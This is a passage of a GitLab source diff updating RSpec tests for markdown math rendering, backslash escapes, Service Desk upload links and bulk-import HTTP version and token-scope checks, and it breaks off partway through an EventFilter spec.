- '$22 and $<code>2+2</code>$' | '$22 and <math>2+2</math>'
- '$<code>2+2</code>$ $22 and flightjs/Flight$22 $<code>2+2</code>$' | '<math>2+2</math> $22 and flightjs/Flight$22 <math>2+2</math>'
- 'test $$<code>2+2</code>$$ test' | 'test $<math>2+2</math>$ test'
+ '$`2+2`$' | '<p><math>2+2</math></p>'
+ '$`22+1`$ and $`22 + a^2`$' | '<p><math>22+1</math> and <math>22 + a^2</math></p>'
+ '$22 and $`2+2`$' | '<p>$22 and <math>2+2</math></p>'
+ '$`2+2`$ $22 and flightjs/Flight$22 $`2+2`$' | '<p><math>2+2</math> $22 and flightjs/Flight$22 <math>2+2</math></p>'
+ 'test $$`2+2`$$ test' | '<p>test $<math>2+2</math>$ test</p>'
+ '$`1+\$2`$' | '<p><math>1+\$2</math></p>'
end
with_them do
@@ -77,15 +80,15 @@ RSpec.describe Banzai::Filter::MathFilter do
describe 'inline display math using $$...$$ syntax' do
context 'with valid syntax' do
where(:text, :result_template) do
- '$$2+2$$' | '<math>2+2</math>'
- '$$ 2+2 $$' | '<math>2+2</math>'
- '$$22+1$$ and $$22 + a^2$$' | '<math>22+1</math> and <math>22 + a^2</math>'
- '$22 and $$2+2$$' | '$22 and <math>2+2</math>'
- '$$2+2$$ $22 and flightjs/Flight$22 $$2+2$$' | '<math>2+2</math> $22 and flightjs/Flight$22 <math>2+2</math>'
- 'flightjs/Flight$22 and $$a^2 + b^2 = c^2$$' | 'flightjs/Flight$22 and <math>a^2 + b^2 = c^2</math>'
- '$$a!$$' | '<math>a!</math>'
- '$$x$$' | '<math>x</math>'
- '$$20,000 and $$30,000' | '<math>20,000 and</math>30,000'
+ '$$2+2$$' | '<p><math>2+2</math></p>'
+ '$$ 2+2 $$' | '<p><math>2+2</math></p>'
+ '$$22+1$$ and $$22 + a^2$$' | '<p><math>22+1</math> and <math>22 + a^2</math></p>'
+ '$22 and $$2+2$$' | '<p>$22 and <math>2+2</math></p>'
+ '$$2+2$$ $22 and flightjs/Flight$22 $$2+2$$' | '<p><math>2+2</math> $22 and flightjs/Flight$22 <math>2+2</math></p>'
+ 'flightjs/Flight$22 and $$a^2 + b^2 = c^2$$' | '<p>flightjs/Flight$22 and <math>a^2 + b^2 = c^2</math></p>'
+ '$$a!$$' | '<p><math>a!</math></p>'
+ '$$x$$' | '<p><math>x</math></p>'
+ '$$20,000 and $$30,000' | '<p><math>20,000 and</math>30,000</p>'
end
with_them do
@@ -97,8 +100,8 @@ RSpec.describe Banzai::Filter::MathFilter do
describe 'block display math using $$\n...\n$$ syntax' do
context 'with valid syntax' do
where(:text, :result_template) do
- "$$\n2+2\n$$" | "<math>2+2</math>"
- "$$\n2+2\n3+4\n$$" | "<math>2+2\n3+4</math>"
+ "$$\n2+2\n$$" | "<math>2+2\n</math>"
+ "$$\n2+2\n3+4\n$$" | "<math>2+2\n3+4\n</math>"
end
with_them do
@@ -107,72 +110,96 @@ RSpec.describe Banzai::Filter::MathFilter do
end
end
end
+
+ context 'when it spans multiple lines' do
+ let(:math) do
+ <<~MATH
+ \\begin{align*}
+ \\Delta t \\frac{d(b_i, a_i)}{c} + \\Delta t_{b_i}
+ \\end{align*}
+ MATH
+ end
+
+ let(:text) { "$$\n#{math}$$" }
+ let(:result_template) { "<math>#{math}</math>" }
+
+ it_behaves_like 'display math' do
+ let(:use_pre_tags) { true }
+ end
+ end
+
+ context 'when it contains \\' do
+ let(:math) do
+ <<~MATH
+ E = mc^2 \\\\
+ E = \\$mc^2
+ MATH
+ end
+
+ let(:text) { "$$\n#{math}$$" }
+ let(:result_template) { "<math>#{math}</math>" }
+
+ it_behaves_like 'display math' do
+ let(:use_pre_tags) { true }
+ end
+ end
end
describe 'display math using ```math...``` syntax' do
it 'adds data-math-style display attribute to display math' do
- doc = filter('<pre lang="math"><code>2+2</code></pre>')
+ doc = pipeline_filter("```math\n2+2\n```")
pre = doc.xpath('descendant-or-self::pre').first
expect(pre['data-math-style']).to eq 'display'
end
it 'adds js-render-math class to display math' do
- doc = filter('<pre lang="math"><code>2+2</code></pre>')
+ doc = pipeline_filter("```math\n2+2\n```")
pre = doc.xpath('descendant-or-self::pre').first
expect(pre[:class]).to include("js-render-math")
end
it 'ignores code blocks that are not math' do
- input = '<pre lang="plaintext"><code>2+2</code></pre>'
- doc = filter(input)
+ input = "```plaintext\n2+2\n```"
+ doc = pipeline_filter(input)
- expect(doc.to_s).to eq input
+ expect(doc.to_s).to eq "<pre lang=\"plaintext\"><code>2+2\n</code></pre>"
end
it 'requires the pre to contain both code and math' do
input = '<pre lang="math">something</pre>'
- doc = filter(input)
+ doc = pipeline_filter(input)
expect(doc.to_s).to eq input
end
-
- it 'dollar signs around to display math' do
- doc = filter('$<pre lang="math"><code>2+2</code></pre>$')
- before = doc.xpath('descendant-or-self::text()[1]').first
- after = doc.xpath('descendant-or-self::text()[3]').first
-
- expect(before.to_s).to eq '$'
- expect(after.to_s).to eq '$'
- end
end
describe 'unrecognized syntax' do
- where(:text) do
- [
- '<code>2+2</code>',
- 'test $<code>2+2</code> test',
- 'test <code>2+2</code>$ test',
- '<em>$</em><code>2+2</code><em>$</em>',
- '$20,000 and $30,000',
- '$20,000 in $USD',
- '$ a^2 $',
- "test $$\n2+2\n$$",
- "$\n$",
- '$$$'
- ]
+ where(:text, :result) do
+ '`2+2`' | '<p><code>2+2</code></p>'
+ 'test $`2+2` test' | '<p>test $<code>2+2</code> test</p>'
+ 'test `2+2`$ test' | '<p>test <code>2+2</code>$ test</p>'
+ '$20,000 and $30,000' | '<p>$20,000 and $30,000</p>'
+ '$20,000 in $USD' | '<p>$20,000 in $USD</p>'
+ '$ a^2 $' | '<p>$ a^2 $</p>'
+ "test $$\n2+2\n$$" | "<p>test $$\n2+2\n$$</p>"
+ "$\n$" | "<p>$\n$</p>"
+ '$$$' | '<p>$$$</p>'
+ '`$1+2$`' | '<p><code>$1+2$</code></p>'
+ '`$$1+2$$`' | '<p><code>$$1+2$$</code></p>'
+ '`$\$1+2$$`' | '<p><code>$\$1+2$$</code></p>'
end
with_them do
it 'is ignored' do
- expect(filter(text).to_s).to eq text
+ expect(pipeline_filter(text).to_s).to eq result
end
end
end
it 'handles multiple styles in one text block' do
- doc = filter('$<code>2+2</code>$ + $3+3$ + $$4+4$$')
+ doc = pipeline_filter('$`2+2`$ + $3+3$ + $$4+4$$')
expect(doc.search('.js-render-math').count).to eq(3)
expect(doc.search('[data-math-style="inline"]').count).to eq(2)
@@ -182,15 +209,17 @@ RSpec.describe Banzai::Filter::MathFilter do
it 'limits how many elements can be marked as math' do
stub_const('Banzai::Filter::MathFilter::RENDER_NODES_LIMIT', 2)
- doc = filter('$<code>2+2</code>$ + $<code>3+3</code>$ + $<code>4+4</code>$')
+ doc = pipeline_filter('$`2+2`$ + $3+3$ + $$4+4$$')
expect(doc.search('.js-render-math').count).to eq(2)
end
- it 'does not recognize new syntax when feature flag is off' do
- stub_feature_flags(markdown_dollar_math: false)
- doc = filter('$1+2$')
+ def pipeline_filter(text)
+ context = { project: nil, no_sourcepos: true }
+ doc = Banzai::Pipeline::PreProcessPipeline.call(text, {})
+ doc = Banzai::Pipeline::PlainMarkdownPipeline.call(doc[:output], context)
+ doc = Banzai::Filter::SanitizationFilter.call(doc[:output], context, nil)
- expect(doc.to_s).to eq '$1+2$'
+ filter(doc)
end
end
diff --git a/spec/lib/banzai/filter/references/reference_filter_spec.rb b/spec/lib/banzai/filter/references/reference_filter_spec.rb
index 6d7396ef216..88404f2039d 100644
--- a/spec/lib/banzai/filter/references/reference_filter_spec.rb
+++ b/spec/lib/banzai/filter/references/reference_filter_spec.rb
@@ -189,9 +189,9 @@ RSpec.describe Banzai::Filter::References::ReferenceFilter do
let(:filter) { described_class.new(document, project: project) }
it 'updates all new nodes', :aggregate_failures do
- filter.instance_variable_set('@nodes', nodes)
+ filter.instance_variable_set(:@nodes, nodes)
- expect(filter).to receive(:call) { filter.instance_variable_set('@new_nodes', new_nodes) }
+ expect(filter).to receive(:call) { filter.instance_variable_set(:@new_nodes, new_nodes) }
expect(filter).to receive(:with_update_nodes).and_call_original
expect(filter).to receive(:update_nodes!).and_call_original
@@ -212,7 +212,7 @@ RSpec.describe Banzai::Filter::References::ReferenceFilter do
expect_next_instance_of(described_class) do |filter|
expect(filter).to receive(:call_and_update_nodes).and_call_original
expect(filter).to receive(:with_update_nodes).and_call_original
- expect(filter).to receive(:call) { filter.instance_variable_set('@new_nodes', new_nodes) }
+ expect(filter).to receive(:call) { filter.instance_variable_set(:@new_nodes, new_nodes) }
expect(filter).to receive(:update_nodes!).and_call_original
end
diff --git a/spec/lib/banzai/filter/repository_link_filter_spec.rb b/spec/lib/banzai/filter/repository_link_filter_spec.rb
index 0df680dc0c8..b2162ea2756 100644
--- a/spec/lib/banzai/filter/repository_link_filter_spec.rb
+++ b/spec/lib/banzai/filter/repository_link_filter_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Banzai::Filter::RepositoryLinkFilter do
+RSpec.describe Banzai::Filter::RepositoryLinkFilter, feature_category: :team_planning do
include RepoHelpers
def filter(doc, contexts = {})
@@ -303,6 +303,12 @@ RSpec.describe Banzai::Filter::RepositoryLinkFilter do
expect(doc.at_css('img')['src']).to eq "/#{project_path}/-/raw/#{Addressable::URI.escape(ref)}/#{escaped}"
end
+ it 'supports percent sign in filenames' do
+ doc = filter(link('doc/api/README%.md'))
+ expect(doc.at_css('a')['href'])
+ .to eq "/#{project_path}/-/blob/#{ref}/doc/api/README%25.md"
+ end
+
context 'when requested path is a file in the repo' do
let(:requested_path) { 'doc/api/README.md' }
diff --git a/spec/lib/banzai/filter/service_desk_upload_link_filter_spec.rb b/spec/lib/banzai/filter/service_desk_upload_link_filter_spec.rb
new file mode 100644
index 00000000000..08d6fe03606
--- /dev/null
+++ b/spec/lib/banzai/filter/service_desk_upload_link_filter_spec.rb
@@ -0,0 +1,86 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Banzai::Filter::ServiceDeskUploadLinkFilter, feature_category: :service_desk do
+ def filter(doc, contexts = {})
+ described_class.call(doc, contexts)
+ end
+
+ def link(path, text)
+ %(<a href="#{path}">#{text}</a>)
+ end
+
+ let(:file_name) { 'test.jpg' }
+ let(:secret) { 'e90decf88d8f96fe9e1389afc2e4a91f' }
+ let(:upload_path) { "/uploads/#{secret}/#{file_name}" }
+ let(:html_link) { link(upload_path, file_name) }
+
+ context 'when replace_upload_links enabled' do
+ context 'when it has only one attachment to replace' do
+ let(:contexts) { { uploads_as_attachments: ["#{secret}/#{file_name}"] } }
+
+ context 'when filename in text is same as in link' do
+ it 'replaces the link with original filename in strong' do
+ doc = filter(html_link, contexts)
+
+ expect(doc.at_css('a')).to be_nil
+ expect(doc.at_css('strong').text).to eq(file_name)
+ end
+ end
+
+ context 'when filename in text is not same as in link' do
+ let(:filename_in_text) { 'Custom name' }
+ let(:html_link) { link(upload_path, filename_in_text) }
+
+ it 'replaces the link with filename in text & original filename, in strong' do
+ doc = filter(html_link, contexts)
+
+ expect(doc.at_css('a')).to be_nil
+ expect(doc.at_css('strong').text).to eq("#{filename_in_text} (#{file_name})")
+ end
+ end
+ end
+
+ context 'when it has more than one attachment to replace' do
+ let(:file_name_1) { 'test1.jpg' }
+ let(:secret_1) { '17817c73e368777e6f743392e334fb8a' }
+ let(:upload_path_1) { "/uploads/#{secret_1}/#{file_name_1}" }
+ let(:html_link_1) { link(upload_path_1, file_name_1) }
+
+ context 'when all of uploads can be replaced' do
+ let(:contexts) { { uploads_as_attachments: ["#{secret}/#{file_name}", "#{secret_1}/#{file_name_1}"] } }
+
+ it 'replaces all links with original filename in strong' do
+ doc = filter("#{html_link} #{html_link_1}", contexts)
+
+ expect(doc.at_css('a')).to be_nil
+ expect(doc.at_css("strong:contains('#{file_name}')")).not_to be_nil
+ expect(doc.at_css("strong:contains('#{file_name_1}')")).not_to be_nil
+ end
+ end
+
+ context 'when not all of uploads can be replaced' do
+ let(:contexts) { { uploads_as_attachments: ["#{secret}/#{file_name}"] } }
+
+ it 'replaces only specific links with original filename in strong' do
+ doc = filter("#{html_link} #{html_link_1}", contexts)
+
+ expect(doc.at_css("strong:contains('#{file_name}')")).not_to be_nil
+ expect(doc.at_css("a:contains('#{file_name_1}')")).not_to be_nil
+ end
+ end
+ end
+ end
+
+ context 'when uploads_as_attachments is empty' do
+ let(:contexts) { { uploads_as_attachments: [] } }
+
+ it 'does not replaces the link' do
+ doc = filter(html_link, contexts)
+
+ expect(doc.at_css('a')).not_to be_nil
+ expect(doc.at_css('a')['href']).to eq upload_path
+ end
+ end
+end
diff --git a/spec/lib/banzai/pipeline/full_pipeline_spec.rb b/spec/lib/banzai/pipeline/full_pipeline_spec.rb
index 1a0f5a53a23..c1d5f16b562 100644
--- a/spec/lib/banzai/pipeline/full_pipeline_spec.rb
+++ b/spec/lib/banzai/pipeline/full_pipeline_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Banzai::Pipeline::FullPipeline do
+RSpec.describe Banzai::Pipeline::FullPipeline, feature_category: :team_planning do
describe 'References' do
let(:project) { create(:project, :public) }
let(:issue) { create(:issue, project: project) }
@@ -164,7 +164,7 @@ RSpec.describe Banzai::Pipeline::FullPipeline do
markdown = '_@test\__'
output = described_class.to_html(markdown, project: project)
- expect(output).to include('<em>@test_</em>')
+ expect(output).to include('<em>@test<span>_</span></em>')
end
end
diff --git a/spec/lib/banzai/pipeline/plain_markdown_pipeline_spec.rb b/spec/lib/banzai/pipeline/plain_markdown_pipeline_spec.rb
index 536f2a67415..0e4a4e4492e 100644
--- a/spec/lib/banzai/pipeline/plain_markdown_pipeline_spec.rb
+++ b/spec/lib/banzai/pipeline/plain_markdown_pipeline_spec.rb
@@ -2,24 +2,25 @@
require 'spec_helper'
-RSpec.describe Banzai::Pipeline::PlainMarkdownPipeline do
+RSpec.describe Banzai::Pipeline::PlainMarkdownPipeline, feature_category: :team_planning do
using RSpec::Parameterized::TableSyntax
describe 'backslash escapes', :aggregate_failures do
let_it_be(:project) { create(:project, :public) }
let_it_be(:issue) { create(:issue, project: project) }
- it 'converts all reference punctuation to literals' do
- reference_chars = Banzai::Filter::MarkdownPreEscapeFilter::REFERENCE_CHARACTERS
- markdown = reference_chars.split('').map { |char| char.prepend("\\") }.join
- punctuation = Banzai::Filter::MarkdownPreEscapeFilter::REFERENCE_CHARACTERS.split('')
- punctuation = punctuation.delete_if { |char| char == '&' }
- punctuation << '&amp;'
+ it 'converts all escapable punctuation to literals' do
+ markdown = Banzai::Filter::MarkdownPreEscapeFilter::ESCAPABLE_CHARS.pluck(:escaped).join
result = described_class.call(markdown, project: project)
output = result[:output].to_html
- punctuation.each { |char| expect(output).to include("<span>#{char}</span>") }
+ Banzai::Filter::MarkdownPreEscapeFilter::ESCAPABLE_CHARS.pluck(:char).each do |char|
+ char = '&amp;' if char == '&'
+
+ expect(output).to include("<span>#{char}</span>")
+ end
+
expect(result[:escaped_literals]).to be_truthy
end
@@ -33,12 +34,12 @@ RSpec.describe Banzai::Pipeline::PlainMarkdownPipeline do
end.compact
reference_chars.all? do |char|
- Banzai::Filter::MarkdownPreEscapeFilter::REFERENCE_CHARACTERS.include?(char)
+ Banzai::Filter::MarkdownPreEscapeFilter::TARGET_CHARS.include?(char)
end
end
- it 'does not convert non-reference punctuation to spans' do
- markdown = %q(\"\'\*\+\,\-\.\/\:\;\<\=\>\?\[\]\_\`\{\|\}) + %q[\(\)\\\\]
+ it 'does not convert non-reference/latex punctuation to spans' do
+ markdown = %q(\"\'\*\+\,\-\.\/\:\;\<\=\>\?\[\]\`\|) + %q[\(\)\\\\]
result = described_class.call(markdown, project: project)
output = result[:output].to_html
@@ -55,11 +56,12 @@ RSpec.describe Banzai::Pipeline::PlainMarkdownPipeline do
expect(result[:escaped_literals]).to be_falsey
end
- describe 'backslash escapes do not work in code blocks, code spans, autolinks, or raw HTML' do
+ describe 'backslash escapes are untouched in code blocks, code spans, autolinks, or raw HTML' do
where(:markdown, :expected) do
%q(`` \@\! ``) | %q(<code>\@\!</code>)
%q( \@\!) | %Q(<code>\\@\\!\n</code>)
%Q(~~~\n\\@\\!\n~~~) | %Q(<code>\\@\\!\n</code>)
+ %q($1+\$2$) | %q(<code data-math-style="inline">1+\\$2</code>)
%q(<http://example.com?find=\@>) | %q(<a href="http://example.com?find=%5C@">http://example.com?find=\@</a>)
%q[<a href="/bar\@)">] | %q[<a href="/bar%5C@)">]
end
diff --git a/spec/lib/banzai/pipeline/service_desk_email_pipeline_spec.rb b/spec/lib/banzai/pipeline/service_desk_email_pipeline_spec.rb
new file mode 100644
index 00000000000..83541494f68
--- /dev/null
+++ b/spec/lib/banzai/pipeline/service_desk_email_pipeline_spec.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Banzai::Pipeline::ServiceDeskEmailPipeline, feature_category: :service_desk do
+ describe '.filters' do
+ it 'returns the expected type' do
+ expect(described_class.filters).to be_kind_of(Banzai::FilterArray)
+ end
+
+ it 'excludes ServiceDeskUploadLinkFilter' do
+ expect(described_class.filters).not_to be_empty
+ expect(described_class.filters).to include(Banzai::Filter::ServiceDeskUploadLinkFilter)
+ end
+ end
+end
diff --git a/spec/lib/bulk_imports/clients/http_spec.rb b/spec/lib/bulk_imports/clients/http_spec.rb
index 4fb08fc0478..780f61f8c61 100644
--- a/spec/lib/bulk_imports/clients/http_spec.rb
+++ b/spec/lib/bulk_imports/clients/http_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe BulkImports::Clients::HTTP do
+RSpec.describe BulkImports::Clients::HTTP, feature_category: :importers do
include ImportSpecHelper
let(:url) { 'http://gitlab.example' }
@@ -22,12 +22,6 @@ RSpec.describe BulkImports::Clients::HTTP do
)
end
- before do
- allow(Gitlab::HTTP).to receive(:get)
- .with('http://gitlab.example/api/v4/version', anything)
- .and_return(metadata_response)
- end
-
subject { described_class.new(url: url, token: token) }
shared_examples 'performs network request' do
@@ -39,7 +33,7 @@ RSpec.describe BulkImports::Clients::HTTP do
context 'error handling' do
context 'when error occurred' do
- it 'raises BulkImports::Error' do
+ it 'raises BulkImports::NetworkError' do
allow(Gitlab::HTTP).to receive(method).and_raise(Errno::ECONNREFUSED)
expect { subject.public_send(method, resource) }.to raise_exception(BulkImports::NetworkError)
@@ -47,7 +41,7 @@ RSpec.describe BulkImports::Clients::HTTP do
end
context 'when response is not success' do
- it 'raises BulkImports::Error' do
+ it 'raises BulkImports::NetworkError' do
response_double = double(code: 503, success?: false, parsed_response: 'Error', request: double(path: double(path: '/test')))
allow(Gitlab::HTTP).to receive(method).and_return(response_double)
@@ -210,33 +204,153 @@ RSpec.describe BulkImports::Clients::HTTP do
describe '#instance_version' do
it 'returns version as an instance of Gitlab::VersionInfo' do
+ response = { version: version }
+
+ stub_request(:get, 'http://gitlab.example/api/v4/version?private_token=token')
+ .to_return(status: 200, body: response.to_json, headers: { 'Content-Type' => 'application/json' })
+
expect(subject.instance_version).to eq(Gitlab::VersionInfo.parse(version))
end
context 'when /version endpoint is not available' do
it 'requests /metadata endpoint' do
- response_double = double(code: 404, success?: false, parsed_response: 'Not Found', request: double(path: double(path: '/version')))
-
- allow(Gitlab::HTTP).to receive(:get)
- .with('http://gitlab.example/api/v4/version', anything)
- .and_return(response_double)
+ response = { version: version }
- expect(Gitlab::HTTP).to receive(:get)
- .with('http://gitlab.example/api/v4/metadata', anything)
- .and_return(metadata_response)
+ stub_request(:get, 'http://gitlab.example/api/v4/version?private_token=token').to_return(status: 404)
+ stub_request(:get, 'http://gitlab.example/api/v4/metadata?private_token=token')
+ .to_return(status: 200, body: response.to_json, headers: { 'Content-Type' => 'application/json' })
expect(subject.instance_version).to eq(Gitlab::VersionInfo.parse(version))
end
+
+ context 'when /metadata endpoint returns a 401' do
+ it 'raises a BulkImports:Error' do
+ stub_request(:get, 'http://gitlab.example/api/v4/version?private_token=token').to_return(status: 404)
+ stub_request(:get, 'http://gitlab.example/api/v4/metadata?private_token=token')
+ .to_return(status: 401, body: "", headers: { 'Content-Type' => 'application/json' })
+
+ expect { subject.instance_version }.to raise_exception(BulkImports::Error,
+ "Import aborted as the provided personal access token does not have the required 'api' scope or " \
+ "is no longer valid.")
+ end
+ end
+
+ context 'when /metadata endpoint returns a 403' do
+ it 'raises a BulkImports:Error' do
+ stub_request(:get, 'http://gitlab.example/api/v4/version?private_token=token').to_return(status: 404)
+ stub_request(:get, 'http://gitlab.example/api/v4/metadata?private_token=token')
+ .to_return(status: 403, body: "", headers: { 'Content-Type' => 'application/json' })
+
+ expect { subject.instance_version }.to raise_exception(BulkImports::Error,
+ "Import aborted as the provided personal access token does not have the required 'api' scope or " \
+ "is no longer valid.")
+ end
+ end
+
+ context 'when /metadata endpoint returns a 404' do
+ it 'raises a BulkImports:Error' do
+ stub_request(:get, 'http://gitlab.example/api/v4/version?private_token=token').to_return(status: 404)
+ stub_request(:get, 'http://gitlab.example/api/v4/metadata?private_token=token')
+ .to_return(status: 404, body: "", headers: { 'Content-Type' => 'application/json' })
+
+ expect { subject.instance_version }.to raise_exception(BulkImports::Error, 'Import aborted as it was not possible to connect to the provided GitLab instance URL.')
+ end
+ end
+
+ context 'when /metadata endpoint returns any other BulkImports::NetworkError' do
+ it 'raises a BulkImports:NetworkError' do
+ stub_request(:get, 'http://gitlab.example/api/v4/version?private_token=token').to_return(status: 404)
+ stub_request(:get, 'http://gitlab.example/api/v4/metadata?private_token=token')
+ .to_return(status: 418, body: "", headers: { 'Content-Type' => 'application/json' })
+
+ expect { subject.instance_version }.to raise_exception(BulkImports::NetworkError)
+ end
+ end
+ end
+ end
+
+ describe '#validate_instance_version!' do
+ before do
+ allow(subject).to receive(:instance_version).and_return(source_version)
+ end
+
+ context 'when instance version is greater than or equal to the minimum major version' do
+ let(:source_version) { Gitlab::VersionInfo.new(14) }
+
+ it { expect(subject.validate_instance_version!).to eq(true) }
+ end
+
+ context 'when instance version is less than the minimum major version' do
+ let(:source_version) { Gitlab::VersionInfo.new(13, 10, 0) }
+
+ it { expect { subject.validate_instance_version! }.to raise_exception(BulkImports::Error) }
+ end
+ end
+
+ describe '#validate_import_scopes!' do
+ context 'when the source_version is < 15.5' do
+ let(:source_version) { Gitlab::VersionInfo.new(15, 0) }
+
+ it 'skips validation' do
+ allow(subject).to receive(:instance_version).and_return(source_version)
+
+ expect(subject.validate_import_scopes!).to eq(true)
+ end
+ end
+
+ context 'when source version is 15.5 or higher' do
+ let(:source_version) { Gitlab::VersionInfo.new(15, 6) }
+
+ before do
+ allow(subject).to receive(:instance_version).and_return(source_version)
+ end
+
+ context 'when an HTTP error is raised' do
+ let(:response) { { enterprise: false } }
+
+ it 'raises BulkImports::NetworkError' do
+ stub_request(:get, 'http://gitlab.example/api/v4/personal_access_tokens/self?private_token=token')
+ .to_return(status: 404)
+
+ expect { subject.validate_import_scopes! }.to raise_exception(BulkImports::NetworkError)
+ end
+ end
+
+ context 'when scopes are valid' do
+ it 'returns true' do
+ stub_request(:get, 'http://gitlab.example/api/v4/personal_access_tokens/self?private_token=token')
+ .to_return(status: 200, body: { 'scopes' => ['api'] }.to_json, headers: { 'Content-Type' => 'application/json' })
+
+ expect(subject.validate_import_scopes!).to eq(true)
+ end
+ end
+
+ context 'when scopes are invalid' do
+ it 'raises a BulkImports error' do
+ stub_request(:get, 'http://gitlab.example/api/v4/personal_access_tokens/self?private_token=token')
+ .to_return(status: 200, body: { 'scopes' => ['read_user'] }.to_json, headers: { 'Content-Type' => 'application/json' })
+
+ expect(subject.instance_version).to eq(Gitlab::VersionInfo.parse(source_version))
+ expect { subject.validate_import_scopes! }.to raise_exception(BulkImports::Error)
+ end
+ end
end
end
describe '#instance_enterprise' do
+ let(:response) { { enterprise: false } }
+
+ before do
+ stub_request(:get, 'http://gitlab.example/api/v4/version?private_token=token')
+ .to_return(status: 200, body: response.to_json, headers: { 'Content-Type' => 'application/json' })
+ end
+
it 'returns source instance enterprise information' do
expect(subject.instance_enterprise).to eq(false)
end
context 'when enterprise information is missing' do
- let(:enterprise) { nil }
+ let(:response) { {} }
it 'defaults to true' do
expect(subject.instance_enterprise).to eq(true)
@@ -245,14 +359,20 @@ RSpec.describe BulkImports::Clients::HTTP do
end
describe '#compatible_for_project_migration?' do
+ before do
+ allow(subject).to receive(:instance_version).and_return(Gitlab::VersionInfo.parse(version))
+ end
+
context 'when instance version is lower the the expected minimum' do
+ let(:version) { '14.3.0' }
+
it 'returns false' do
expect(subject.compatible_for_project_migration?).to be false
end
end
context 'when instance version is at least the expected minimum' do
- let(:version) { "14.4.4" }
+ let(:version) { '14.4.4' }
it 'returns true' do
expect(subject.compatible_for_project_migration?).to be true
@@ -260,18 +380,6 @@ RSpec.describe BulkImports::Clients::HTTP do
end
end
- context 'when source instance is incompatible' do
- let(:version) { '13.0.0' }
-
- it 'raises an error' do
- expect { subject.get(resource) }
- .to raise_error(
- ::BulkImports::Error,
- "Unsupported GitLab Version. Minimum Supported Gitlab Version #{BulkImport::MIN_MAJOR_VERSION}."
- )
- end
- end
-
context 'when url is relative' do
let(:url) { 'http://website.example/gitlab' }
diff --git a/spec/lib/bulk_imports/groups/stage_spec.rb b/spec/lib/bulk_imports/groups/stage_spec.rb
index 528d65615b1..cc772f07d21 100644
--- a/spec/lib/bulk_imports/groups/stage_spec.rb
+++ b/spec/lib/bulk_imports/groups/stage_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe BulkImports::Groups::Stage do
+RSpec.describe BulkImports::Groups::Stage, feature_category: :importers do
let(:ancestor) { create(:group) }
let(:group) { build(:group, parent: ancestor) }
let(:bulk_import) { build(:bulk_import) }
@@ -77,6 +77,28 @@ RSpec.describe BulkImports::Groups::Stage do
)
end
+ describe 'migrate projects flag' do
+ context 'when true' do
+ it 'includes project entities pipeline' do
+ entity.update!(migrate_projects: true)
+
+ expect(described_class.new(entity).pipelines).to include(
+ hash_including({ pipeline: BulkImports::Groups::Pipelines::ProjectEntitiesPipeline })
+ )
+ end
+ end
+
+ context 'when false' do
+ it 'does not include project entities pipeline' do
+ entity.update!(migrate_projects: false)
+
+ expect(described_class.new(entity).pipelines).not_to include(
+ hash_including({ pipeline: BulkImports::Groups::Pipelines::ProjectEntitiesPipeline })
+ )
+ end
+ end
+ end
+
context 'when feature flag is enabled on root ancestor level' do
it 'includes project entities pipeline' do
stub_feature_flags(bulk_import_projects: ancestor)
diff --git a/spec/lib/bulk_imports/groups/transformers/subgroup_to_entity_transformer_spec.rb b/spec/lib/bulk_imports/groups/transformers/subgroup_to_entity_transformer_spec.rb
index 6450d90ec0f..69cf80f92c5 100644
--- a/spec/lib/bulk_imports/groups/transformers/subgroup_to_entity_transformer_spec.rb
+++ b/spec/lib/bulk_imports/groups/transformers/subgroup_to_entity_transformer_spec.rb
@@ -6,7 +6,7 @@ RSpec.describe BulkImports::Groups::Transformers::SubgroupToEntityTransformer do
describe "#transform" do
it "transforms subgroups data in entity params" do
parent = create(:group)
- parent_entity = instance_double(BulkImports::Entity, group: parent, id: 1)
+ parent_entity = instance_double(BulkImports::Entity, group: parent, id: 1, migrate_projects: false)
context = instance_double(BulkImports::Pipeline::Context, entity: parent_entity)
subgroup_data = {
"path" => "sub-group",
@@ -18,7 +18,8 @@ RSpec.describe BulkImports::Groups::Transformers::SubgroupToEntityTransformer do
source_full_path: "parent/sub-group",
destination_name: "sub-group",
destination_namespace: parent.full_path,
- parent_id: 1
+ parent_id: 1,
+ migrate_projects: false
)
end
end
diff --git a/spec/lib/bulk_imports/projects/pipelines/project_attributes_pipeline_spec.rb b/spec/lib/bulk_imports/projects/pipelines/project_attributes_pipeline_spec.rb
index 4320d5dc119..ecb3c8fe76d 100644
--- a/spec/lib/bulk_imports/projects/pipelines/project_attributes_pipeline_spec.rb
+++ b/spec/lib/bulk_imports/projects/pipelines/project_attributes_pipeline_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe BulkImports::Projects::Pipelines::ProjectAttributesPipeline do
+RSpec.describe BulkImports::Projects::Pipelines::ProjectAttributesPipeline, :with_license do
let_it_be(:project) { create(:project) }
let_it_be(:bulk_import) { create(:bulk_import) }
let_it_be(:entity) { create(:bulk_import_entity, :project_entity, project: project, bulk_import: bulk_import) }
diff --git a/spec/lib/event_filter_spec.rb b/spec/lib/event_filter_spec.rb
index bab48796b8c..16612a6288c 100644
--- a/spec/lib/event_filter_spec.rb
+++ b/spec/lib/event_filter_spec.rb
@@ -3,6 +3,29 @@
require 'spec_helper'
RSpec.describe EventFilter do
+ let_it_be(:public_project) { create(:project, :public) }
+ let_it_be(:push_event) { create(:push_event, project: public_project) }
+ let_it_be(:merged_event) { create(:event, :merged, project: public_project, target: public_project) }
+ let_it_be(:created_event) { create(:event, :created, project: public_project, target: create(:issue, project: public_project)) }
+ let_it_be(:updated_event) { create(:event, :updated, project: public_project, target: create(:issue, project: public_project)) }
+ let_it_be(:closed_event) { create(:event, :closed, project: public_project, target: create(:issue, project: public_project)) }
+ let_it_be(:reopened_event) { create(:event, :reopened, project: public_project, target: create(:issue, project: public_project)) }
+ let_it_be(:comments_event) { create(:event, :commented, project: public_project, target: public_project) }
+ let_it_be(:joined_event) { create(:event, :joined, project: public_project, target: public_project) }
+ let_it_be(:left_event) { create(:event, :left, project: public_project, target: public_project) }
+ let_it_be(:wiki_page_event) { create(:wiki_page_event) }
+ let_it_be(:wiki_page_update_event) { create(:wiki_page_event, :updated) }
+ let_it_be(:design_event) { create(:design_event) }
+
+ let_it_be(:work_item_event) do
+ create(:event,
